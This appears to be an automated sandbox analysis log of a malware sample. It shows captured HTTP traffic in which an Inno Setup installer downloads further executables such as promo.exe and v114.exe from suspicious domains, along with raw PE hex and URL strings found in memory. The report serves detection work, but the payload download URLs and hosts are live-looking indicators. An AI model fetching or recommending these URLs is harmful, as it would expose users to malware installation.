00 00 00 00 00 00 00 00 e0 12 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 24 9e 05 00 00 40 0d 00 00 a0 05 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 12 00 00 76 00 00 00 94 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Wed, 06 Dec 2023 13:52:39 GMTContent-Type: application/octet-streamContent-Length: 2713088Connection: keep-aliveContent-Disposition: attachment; filename=promo.exeData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 da fa 65 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 94 06 00 00 8c 03 00 00 00 00 00 00 50 6a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 6a 00 00 04 00 00 f0 74 29 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 60 0a 00 95 00 00 00 00 30 08 00 6a 24 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 0a 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 08 00 00 10 00 00 00 6e 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6a 24 02 00 00 30 08 00 00 10 01 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 0a 00 00 02 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 3b 00 00 70 0a 00 00 02 00 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 65 62 65 79 74 7a 6b 00 e0 24 00 00 70 45 00 00 d2 24 00 00 92 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6b 7a 6e 70 66 74 62 00 10 00 00 00 50 6a 00 00 02 00 00 00 64 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Wed, 06 Dec 2023 13:53:46 GMTContent-Type: application/octet-streamContent-Length: 2590208Connection: keep-aliveContent-Disposition: attachment; filename=promo.exeData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 d8 8f fd b9 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 bc 04 00 00 38 03 00 00 00 00 00 00 c0 51 00 00 20 00 00 00 e0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 51 00 00 04 00 00 35 46 28 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 20 08 00 95 00 00 00 00 e0 04 00 56 35 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 21 08 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 04 00 00 20 00 00 00 d8 01 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 56 35 03 00 00 e0 04 00 00 f4 02 00 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 20 08 00 00 02 00 00 00 ec 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 26 00 00 40 08 00 00 02 00 00 00 ee 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 77 64 61 69 6f 6e 6e 00 a0 22 00 00 20 2f 00 00 94 22 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6b 67 70 69 75 76 69 00 20 00 00 00 c0 51 00 00 02 00 00 00 84 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49711 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Code function: 4_2_10002A20 InternetReadFile,_fwrite,

4_2_10002A20

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fLShy8bsHkSVG9b&MD=VkRwrnBh HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ss.php?a=3890&cc=US&t=1701870636 HTTP/1.1Accept: /User-Agent: InnoDownloadPlugin/1.5Host: false.apparelsilver.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /win/Inalstal_98220.exe HTTP/1.1Accept: /User-Agent: InnoDownloadPlugin/1.5Host: www.agenment.cloudConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fLShy8bsHkSVG9b&MD=VkRwrnBh HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598 HTTP/1.1Host: axsboe-campaign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_PukjvzWvVsvIJFh4xJhtXA2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /updates.txt HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: allroadslimit.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /updates/v114.exe HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: dl.likeasurfer.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /updates/v113.exe HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: dl.likeasurfer.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ill.php?p=3890&t=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ==&sub=&ps=655ed8e14a15c HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: sparksteam.site
Source: global traffic	HTTP traffic detected: GET /pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701870648 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: sidemark.xyz
Source: global traffic	HTTP traffic detected: GET /pill.php HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: sparksteam.site
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /track_inl2.php?tim=1701870636&poid=2598&p=1.25 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: send.planewool.xyz
Source: global traffic	HTTP traffic detected: GET /ar.php?d=inno&r=offer_execution&rk=yes&o=1627&a=2598&dn=286&spot=1&t=1701870636 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: false.apparelsilver.xyz
Source: global traffic	HTTP traffic detected: GET /installer.exe HTTP/1.1Accept: /User-Agent: InnoDownloadPlugin/1.5Host: kapetownlink.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?d=inno&r=offer_execution&rk=no&o=331&a=2598&dn=244&spot=2&t=1701870636 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: false.apparelsilver.xyz
Source: global traffic	HTTP traffic detected: GET /load/1509/promo.exe HTTP/1.1Accept: /User-Agent: InnoDownloadPlugin/1.5Host: ambadevgroup.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/3/0/0 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.3Host: mysoftwareusa.info
Source: global traffic	HTTP traffic detected: GET /stats/3/1/0 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.3Host: mysoftwareusa.info
Source: global traffic	HTTP traffic detected: GET /archives/5 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.3Host: mysoftwareusa.info
Source: global traffic	HTTP traffic detected: GET /archives/7 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.5Host: mysoftwareusa.info

Source: a1.exe, 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmp, a1.exe, 00000015.00000000.2964430134.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmp, v114.exe, 00000039.00000002.3555344086.0000000000B0C000.00000002.00000001.01000000.00000028.sdmp	String found in binary or memory: FlashWindowExFlashWindowKernel32.dllGetPackagePathhttp://www.example.comTESThttp://www.google.comhttp://www.yahoo.comtin9999.tmpGETattachment.partfilenamecharset= "POSTutf-8DLD123US-ASCIIAdvancedInstallerutf-16ISO-8859-1/HTTP/1.0Local Network ServerFTP ServerContent-Type: application/x-www-form-urlencoded; charset=utf-8 equals www.yahoo.com (Yahoo)
Source: v113.exe, 00000022.00000000.3195293895.0000000000918000.00000002.00000001.01000000.00000023.sdmp, v113.exe, 00000022.00000002.3397727474.0000000000918000.00000002.00000001.01000000.00000023.sdmp	String found in binary or memory: Shlwapi.dllShell32.dllbinSoftware\JavaSoft\Java Development Kit\JavaHomeSoftware\JavaSoft\Java Runtime Environment\FlashWindowFlashWindowExKernel32.dllGetPackagePathhttp://www.yahoo.comhttp://www.google.comTESThttp://www.example.comtin9999.tmp.partattachmentHEAD "=charsetfilename123DLDutf-8POSTISO-8859-1utf-16AdvancedInstallerUS-ASCIILocal Network ServerGET/FTP ServerRange: bytes=%u- equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: sparksteam.site

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4

Source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://%s/fakeurl.htm
Source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://%s/testpage.htm
Source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://127.0.0.1
Source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.0000000000818000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exe
Source: setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exeFm
Source: setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exeM
Source: setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exee
Source: setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exem
Source: setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exep
Source: wmiprvse.exe, 0000000F.00000002.3911502194.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.142.47.11/fakeurl.htm
Source: v114.exe, 00000039.00000003.3485745469.0000000003620000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://HTTP/1.0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ac.economia.gob.mx/cps.html0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ac.economia.gob.mx/last.crl0G
Source: a1.exe, 00000015.00000003.2985012788.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acedicom.edicomgroup.com/doc0
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv1.crl0
Source: a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv10.crl0
Source: a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv2.crl0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv5.crl0
Source: setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3927324403.0000000004370000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.000000000080C000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.0000000000830000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exe
Source: setup.tmp, 00000004.00000002.3907486788.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exe3n
Source: setup.tmp, 00000004.00000002.3907486788.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exeCA.tmp
Source: setup.tmp, 00000004.00000002.3907486788.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exeData
